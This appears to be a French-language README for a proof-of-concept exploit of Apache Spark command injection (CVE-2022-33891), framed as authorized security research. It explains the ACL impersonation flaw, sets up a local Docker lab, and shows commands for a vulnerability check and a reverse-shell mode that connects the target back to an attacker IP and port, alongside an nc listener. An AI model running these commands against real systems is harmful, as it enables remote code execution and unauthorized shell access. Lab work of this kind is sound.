
Preuve de concept d'exploitation pour l'injection de commandes Apache Spark (CVE-2022-33891) avec modes de vérification et de shell inversé, permettant des tests de sécurité autorisés.
⚠️ À des fins éducatives et de recherche en sécurité autorisée uniquement
Très reconnaissant à l'auteur original du PoC AkbarTrilaksana
L'interface utilisateur Apache Spark offre la possibilité d'activer les ACL via l'option de configuration spark.acls.enable. Avec un filtre d'authentification, cela vérifie si un utilisateur a les autorisations d'accès pour voir ou modifier l'application. Si les ACL sont activées, un chemin de code dans HttpSecurityFilter peut permettre à quelqu'un d'usurper une identité en fournissant un nom d'utilisateur arbitraire. Un utilisateur malveillant pourrait alors atteindre une fonction de vérification des permissions qui construira finalement une commande shell Unix basée sur son entrée, et l'exécuter. Cela entraînera une exécution arbitraire de commandes shell sous l'utilisateur sous lequel Spark s'exécute actuellement. Cela affecte les versions d'Apache Spark 3.0.3 et antérieures, les versions 3.1.1 à 3.1.2, et les versions 3.2.0 à 3.2.1.
Tout d'abord, clonez le dépôt
git clone https://github.com/asepsaepdin/CVE-2022-33891.git
Changez de répertoire
cd CVE-2022-33891
Installez les dépendances :
pip3 install -r requirements.txt --break-system-packages
Laissez le conteneur démarrer
docker compose up
Dans un nouveau terminal, exécutez la commande
docker exec -it CVE-2022-33891-spark-1 /bin/bash
Dans la session bash du conteneur, entrez :
echo "spark.acls.enable true" >> conf/spark-defaults.conf
Optionnellement, utilisez cat pour afficher le contenu de spark-defaults.conf afin de vérifier qu'il est correct.
Quittez le shell bash interactif et faites Ctl-C sur votre processus docker-compose.
Une fois que les conteneurs se sont arrêtés correctement, relancez docker-compose up
docker compose up
Vérifiez si la cible est vulnérable :
python3 poc.py -u http://localhost -p 8080 --check
Du point de vue d'un attaquant, l'exécution de code à distance est essentielle pour obtenir un accès à un shell interactif. Ainsi, l'exécution de la commande suivante déclencherait un reverse shell telnet sur tcp basé sur bash vers le système de l'attaquant sur le port 4444/tcp :
python3 poc.py -u http://localhost -p 8080 --revshell -lh 172.16.10.24 -lp 4444
nc -nlvp 4444